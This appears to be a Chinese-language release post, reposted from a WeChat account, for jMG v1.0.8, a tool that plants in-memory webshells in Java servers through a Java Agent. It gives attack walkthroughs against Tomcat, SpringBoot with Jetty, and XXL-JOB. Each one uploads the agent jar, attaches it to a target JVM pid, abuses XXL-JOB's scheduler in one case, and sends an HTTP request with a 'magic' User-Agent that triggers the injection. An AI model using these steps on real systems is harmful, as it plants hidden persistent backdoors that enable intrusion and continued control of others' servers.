jMG v1.0.8 – Java Agent 篇

0x01 前言

jMG  v1.0.8 实现了鸽了半年的功能 — Java Agent 注入内存马。

0x02 更新日志

1、新增对 Tomcat Agent 注入内存的支持

2、新增对 SpringBoot(SpringMVC) Agent 注入内存的支持

0x03 功能测试
Tomcat 8 + JDK 8

0、测试环境

  • Tomcat 8.5

  • JDK 8

1选择 Tomcat + JAR_AGENT

jMG v1.0.8 - Java Agent 篇

2、将 agent 传到目标服务器上执行

# list pidjava -jar jmg-agent.jar# attach pidjava -jar jmg-agent.jar [pid]

jMG v1.0.8 - Java Agent 篇

3、注入内存马

  • 携带 User-Agent: magic 触发内存马注入逻辑

GET / HTTP/1.1Host: 127.0.0.1:9090User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0Accept: image/avif,image/webp,*/*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

4、按照基础信息进行连接

jMG v1.0.8 - Java Agent 篇

SpringBoot 2 + JRE 8

0、测试环境

  • SpringBoot 2.5.3 + Embedded Jetty

  • JRE 8

1、选择 SpringMVC + JAR_AGENT

jMG v1.0.8 - Java Agent 篇

2、将生成的 agent 传到目标服务器上执行

  • 纯 jre 环境无 tools.jar,jmg-agent 会自动释放内置 tools.jar 到临时目录

jMG v1.0.8 - Java Agent 篇

3、注入内存马

  • 携带 User-Agent: magic 触发内存马注入逻辑

GET / HTTP/1.1Host: 127.0.0.1:9090User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0Accept: image/avif,image/webp,*/*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

4、按照基础信息进行连接

jMG v1.0.8 - Java Agent 篇

XXL-JOB (executor -> admin)

0、测试环境

  • XXL-JOB 2.1.0
  • JDK 8
  • Executor 与 Admin 在同一台服务器上

1、选择Tomcat + JAR_AGENT

jMG v1.0.8 - Java Agent 篇

2、将 agent 写到目标服务器上执行

(1) 新增任务列 pid

jMG v1.0.8 - Java Agent 篇

(2) 调度日志看结果

[*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication][*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication]

(3) 选择 admin pid 进行 attach

jMG v1.0.8 - Java Agent 篇

(4) attach 成功

jMG v1.0.8 - Java Agent 篇

3、注入内存马

  • 携带 User-Agent: magic 触发内存马注入逻辑

GET /xxl-job-admin/toLogin HTTP/1.1Host: 127.0.0.1:9090User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

4、按照基础信息进行连接

jMG v1.0.8 - Java Agent 篇

0x04 最后

测试环境属于较理想环境,实战可能会遇到各种坑点,若有问题反馈与讨论请附上环境信息+报错日志

原文始发于微信公众号(pen4uin):jMG v1.0.8 – Java Agent 篇

版权声明:admin 发表于 2024年4月12日 上午9:01。
转载请注明:jMG v1.0.8 – Java Agent 篇 | CTF导航

相关文章